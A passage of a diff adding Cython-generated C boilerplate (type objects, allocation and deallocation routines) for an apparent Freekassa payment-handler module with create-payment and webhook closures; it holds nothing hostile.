PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_7); + __Pyx_AddTraceback("process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr *__pyx_freelist_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr[8]; +static int __pyx_freecount_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr[--__pyx_freecount_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr(PyObject *o) { + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr *p = (struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_genexpr_arg_0); + Py_CLEAR(p->__pyx_v_value); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr)))) { + __pyx_freelist_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr[__pyx_freecount_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr++] = ((struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr *p = (struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr *)o; + if (p->__pyx_genexpr_arg_0) { + e = (*v)(p->__pyx_genexpr_arg_0, a); if (e) return e; + } + if (p->__pyx_v_value) { + e = (*v)(p->__pyx_v_value, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr_spec = { + "handlers.payments.freekassa_pay.__pyx_scope_struct__genexpr", + sizeof(struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.freekassa_pay.""__pyx_scope_struct__genexpr", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment *__pyx_freelist_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment[8]; +static int __pyx_freecount_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment[--__pyx_freecount_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment(PyObject *o) { + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment *p = (struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_amount); + Py_CLEAR(p->__pyx_v_e); + Py_CLEAR(p->__pyx_v_email); + Py_CLEAR(p->__pyx_v_ip); + Py_CLEAR(p->__pyx_v_nonce); + Py_CLEAR(p->__pyx_v_params); + Py_CLEAR(p->__pyx_v_payment_id); + Py_CLEAR(p->__pyx_v_response); + Py_CLEAR(p->__pyx_v_response_data); + Py_CLEAR(p->__pyx_v_user_id); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment)))) { + __pyx_freelist_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment[__pyx_freecount_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment++] = ((struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment *p = (struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment *)o; + if (p->__pyx_v_amount) { + e = (*v)(p->__pyx_v_amount, a); if (e) return e; + } + if (p->__pyx_v_e) { + e = (*v)(p->__pyx_v_e, a); if (e) return e; + } + if (p->__pyx_v_email) { + e = (*v)(p->__pyx_v_email, a); if (e) return e; + } + if (p->__pyx_v_ip) { + e = (*v)(p->__pyx_v_ip, a); if (e) return e; + } + if (p->__pyx_v_nonce) { + e = (*v)(p->__pyx_v_nonce, a); if (e) return e; + } + if (p->__pyx_v_params) { + e = (*v)(p->__pyx_v_params, a); if (e) return e; + } + if (p->__pyx_v_payment_id) { + e = (*v)(p->__pyx_v_payment_id, a); if (e) return e; + } + if (p->__pyx_v_response) { + e = (*v)(p->__pyx_v_response, a); if (e) return e; + } + if (p->__pyx_v_response_data) { + e = (*v)(p->__pyx_v_response_data, a); if (e) return e; + } + if (p->__pyx_v_user_id) { + e = (*v)(p->__pyx_v_user_id, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment_spec = { + "handlers.payments.freekassa_pay.__pyx_scope_struct_1_create_payment", + sizeof(struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.freekassa_pay.""__pyx_scope_struct_1_create_payment", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook *__pyx_freelist_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook[8]; +static int __pyx_freecount_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook[--__pyx_freecount_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook(PyObject *o) { + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook *p = (struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_data); + Py_CLEAR(p->__pyx_v_request); + Py_CLEAR(p->__pyx_v_user_id); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook)))) { + __pyx_freelist_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook[__pyx_freecount_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook++] = ((struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook *p = (struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook *)o; + if (p->__pyx_v_data) { + e = (*v)(p->__pyx_v_data, a); if (e) return e; + } + if (p->__pyx_v_request) { + e = (*v)(p->__pyx_v_request, a); if (e) return e; + } + if (p->__pyx_v_user_id) { + e = (*v)(p->__pyx_v_user_id, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook_spec = { + "handlers.payments.freekassa_pay.__pyx_scope_struct_2_freekassa_webhook", + sizeof(struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.freekassa_pay.""__pyx_scope_struct_2_freekassa_webhook", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa *__pyx_freelist_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa[8]; +static int __pyx_freecount_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa[--__pyx_freecount_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa(PyObject *o) { + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa *p = (struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == 